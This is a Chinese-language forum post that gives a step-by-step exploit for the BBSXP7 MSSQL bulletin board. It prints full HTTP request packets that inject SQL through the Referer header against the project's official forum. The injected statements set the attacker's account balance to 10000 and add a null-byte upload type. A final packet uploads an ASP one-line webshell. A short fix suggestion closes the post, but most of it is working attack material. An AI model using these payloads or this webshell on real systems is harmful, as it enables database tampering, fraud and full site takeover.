|
BBSXP7 mssql版拿WEBSHELL 樱木花盗 发表于 2008-5-5 17:35:55 |
这个BBSXP的log注入在一月份发过,不过当时那篇文章说的只是注入,但是没有写拿shell的方法,这篇的分析比较详细,拿shell的方法也不错。
这个东西是去年前发现的了。好象内容细节在哪个杂志上发了。不过似乎杂志和作者都没跟我联系呢?不管,发了再说。 针对BBSXP7的,是HTTP头注入。 没有多大的看头,熟悉的朋友,请从后面拿SHELL的地方开始看。 反正看得懂的就看。 看不懂的请提问,不过希望大家问一点有水平的问题。 太基础的,GOOGLE上可以搜索到的问题,恕我不回答。
我们都知道yuzi.net是BBSXP的官方论坛。 最近读代码,读到了BBSXP 一个不小心,就找到了一个注入。。 拿bbs.yuzi.net去测试。一不小心就测试通过,并且通过此注入点,得到了WEBSHELL。其中就用到了我所谓的数据库处理数据和FSO处理数据的一点小差异,而拿到的WEBSHELL。欲知详情,请跟着我一步一步来看。。。
原创:sobiny[bct] 网址:http://sobiny.cn
BBSXP我读过还几次了,还没发现什么大的问题。 结果这次读的时候,发现了一个很奇怪的过程。
Setup.asp文件是BBSXP系统的函数文件,外面调用的函数基本上都在里面了。 在第394行有一个log过程,其代码如下:
以下是代码片段: sub Log(Message) if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Query_String")&"" Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&Request.ServerVariables("HTTP_REFERER")&"','"&Err.Description&"','"&Request.Form&"','"&Message&"')") end sub | 我们明显的看到了。
以下是代码片段: Request.ServerVariables("REMOTE_ADDR"),Request.ServerVariables("server_name"),Request.ServerVariables("script_name"),Request.ServerVariables("Query_String"),Request.ServerVariables("HTTP_REFERER") |
这5个HTTP头的参数没有经过过滤就直接放进了数据库。
而 Request.ServerVariables("REMOTE_ADDR"),Request.ServerVariables("server_name"), Request.ServerVariables("script_name")这三个参数,第一个是连接的IP地址,第二个是server名字,第三个是脚本名字。这三个都不好欺骗。(除了ip地址我还没想到方法欺骗以外,后面两个都是还是可以欺骗的,不过有一定的环境限制,当然这是后话)
但是Request.ServerVariables("Query_String")和Request.ServerVariables("HTTP_REFERER")我们都是可以很轻松的构造我们需要的字符进去。这样,就可以完成欺骗。进行MSSQL注入攻击。
现在我们就需要找找在BBSXP的代码里面,到底有哪些地方调用了LOG过程。 经过我仔细的检查代码。发现这个过程在好多处代码里面都调用了。 不过普通用户能调用的地方好象只有一处。就是Bank.asp,就是银行功能,在给某人汇钱了后,就会调用LOG过程,写入数据库记录。 目标代码在Bank.asp的第160行。如下:
Log(""&CookieUserName&" 通过银行转帐 ¥"&qmoney&" 给 "&dxname&"")
于是,就开始了我艰苦的BBSXP测试之旅。
我看了BBSXP的官方。只能通过发帖来赚点钱。每个帖子奖励1块钱。bank.asp里面限制了最低每次要转10块钱。而且还有10%的手续费,真黑啊,这个告诉我们,我必须要先发11个帖子,才可以进行一次转帐的操作。 痛苦ING …………………… 省略号表示是我在注册帐号等待20分钟(才可以发帖),趁版主不注意,猛灌11个文章。并且抓包的痛苦经历,能有多悲惨,请各位读者发挥自己的想象。
终于11个文章筹齐了。我现在有了11块钱。 当然就好开始构造我们的语句了。
我们先来看看我们本来的封包。 联系上下文。构造封包如下:
以下是代码片段:
POST /Bank.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://bbs.yuzi.net/bank.asp Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon) Host: bbs.yuzi.net Content-Length: 60 Connection: Keep-Alive Cache-Control: no-cache Cookie: bbsxp=bbsxp; skins=xp; ASPSESSIONIDCSBQADBA=HFMDPPMBNDENBBKCAFJLMBMC; UserID=123536; Userpass=7A268B980E0D89FD1C4F498341B32201; Onlinetime=2006%2D11%2D4+23%3A30%3A23; ForumNameList=; Eremite=0; PostTime= menu=virement&qmoney=10&dxname=admin&B2=+%E7%A1%AE+%E5%AE%9A+ |
这个封包的意思是,向admin这个家伙送转10块钱过去。。 当然我们是不能直接发送这个封包的(为什么?因为10块钱就白白过去了,你愿意吗?当然要构造点语句帮我们做点事情才行)
考虑了1秒钟,身受为了得到11块钱而不停痛苦的我。绝对首先做的事情是:为我得到10000块钱。 经过读他们的代码,找到了存储金钱的表段,嘿嘿,准备加钱了。
以下是代码片段:
POST /Bank.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://bbs.yuzi.net/bank.asp','a','post','cheng');update [BBSXP_Users] set [UserMoney]=10000 where userid=123536-- Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon) Host: bbs.yuzi.net Content-Length: 60 Connection: Keep-Alive Cache-Control: no-cache Cookie: bbsxp=bbsxp; skins=xp; ASPSESSIONIDCSBQADBA=HFMDPPMBNDENBBKCAFJLMBMC; UserID=123536; Userpass=7A268B980E0D89FD1C4F498341B32201; Onlinetime=2006%2D11%2D4+23%3A30%3A23; ForumNameList=; Eremite=0; PostTime= menu=virement&qmoney=10&dxname=admin&B2=+%E7%A1%AE+%E5%AE%9A+ |
然后发送。 我们主要看看 Referer: http://bbs.yuzi.net/bank.asp','a','post','cheng');update [BBSXP_Users] set [UserMoney]=10000 where userid=123536-- 这一个HTTP头地址。 然后构造这样的HTTP头地址,就可以进行多句的执行。首先把我在银行里面的金钱改成了10000再说。 哈哈,可以慢慢注入了。 (为了节省篇幅,下面的封包我就只给出修改了后的部分。)
现在我进银行看看,我的钱。 嘿嘿,果然是1W了。。HAPPY。说明这个地方确实是可以注入的。
然后就是我慢慢思考怎么得到WEBSHELL的时候了。 经过一系列的探测,我发现了,数据库和网站不在同一个服务器。 所以先前的打算备份日志或者差异备份的想法就给打消了。 就开始了艰辛的只通过BBSXP自带的功能得到WEBSHELL的路。
首先是拿到后台。最新版的BBSXP,MSSQL数据库版本的后台也就多几个注入点。没有用的。我晕。 实在想不到办法。 于是我就照现在你所想的,添加上传类型来试试能不能上传一个WEBSHELL上去。 首先我们必须要先否认几个类型: asp,asa,cer,cdx.这4个类型在代码里面已经明文禁止了,不能上传。所以否决 我根本试都不去试,呵呵。
于是我就添加ASPX类型上去,上传成功,不过服务器不支持。 于是我又添加PHP类型上去,上传成功,不过服务器不支持。 …………………… 很多类型。服务器都不支持。 然后你们这个时候可能要说,可以上传SHTML的类型上去哈,服务器肯定支持。 不过好象SHTML上传上去,我也只能去浏览文件的代码。(据说SHTML有时是可以执行CMD命令的,不过当时我是没抱希望,所以就没去试)所以我也就没去实验这个东西。
难道就没有办法了吗? 我想了大概半个小时。最后还真的给我想到了一个办法。
FSO写文件名的时候,如果遇到空字节,那么,这个空字节后面的字符就会被忽略。 比如我们用FSO写一个文件名是:admin%00(空字节).jpg。那么我们实际上写上去的文件名就是admin没有后缀的。 而数据库又刚好是可以存储空字节的数据库。 OK。。。 下面我们构造如下的语句。
以下是代码片段: Referer: http://bbs.yuzi.net/bank.asp','a','post','cheng');update [BBSXP_SiteSettings] set UpFileTypes=UpFileTypes+'|asp'+char(0)+'a' where 1=1-- | 然后提交给服务器。 这样服务器就加上了一个允许的类型,这个类型就是'asp空字节a' 呵呵。 然后我们试着提交一下。
以下是代码片段:
POST /PostUpFile.asp? HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://bbs.yuzi.net/PostUpFile.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d6215880482 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon) Host: bbs.yuzi.net Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache Cookie: bbsxp=bbsxp; skins=xp; ASPSESSIONIDCSBQADBA=HFMDPPMBNDENBBKCAFJLMBMC; UserID=123536; Userpass=7A268B980E0D89FD1C4F498341B32201; Onlinetime=2006%2D11%2D4+23%3A30%3A23; ForumNameList=%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D2%27%3E%u8BBA%u575B%u4EA4%u6D41%u533A%3C/option%3E%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D1%27%3E%u704C%u6C34%u4E50%u56ED%3C/option%3E; Eremite=0; PostTime=2006%2D11%2D5+0%3A42%3A33
-----------------------------7d6215880482 Content-Disposition: form-data; name="file"; filename="E:\muma.asp a" Content-Type: text/html
<%If Request("#")<>"" Then Execute(Request("#"))%> -----------------------------7d6215880482-- |
这就和动易当年的上传漏洞差不多了。 注意muma.asp a中间的空格要用16进制编辑器改成00就是空字节的意思。
然后发送封包。 就会提示你上传123123123123.asp成功。 找到你上传的文件。 接下来的事就不用我说了吧,哈哈。
我要说明一个问题。 有BBSXP有注入点拿下WEBSHELL的方法不只这一个。 我只是选择了一个我认为最简单的方法。所以各位看官找到更有效果的方法,欢迎你来和我交流 但是不要来批判我,谢谢。
最后说说这个漏洞的修补方法,就是过滤HTTP头文件。不要直接放进数据库。 如果实在修补不了的,请暂时停止其银行功能。 这样就可以有一定效果的防御这个漏洞,等待BBSXP官方出补丁。
后记:最近总是有朋友问我,DVBBS后台怎么拿SHELL。。 看了这个文章后,你有新的想法了吗? |
|
发表评论:
|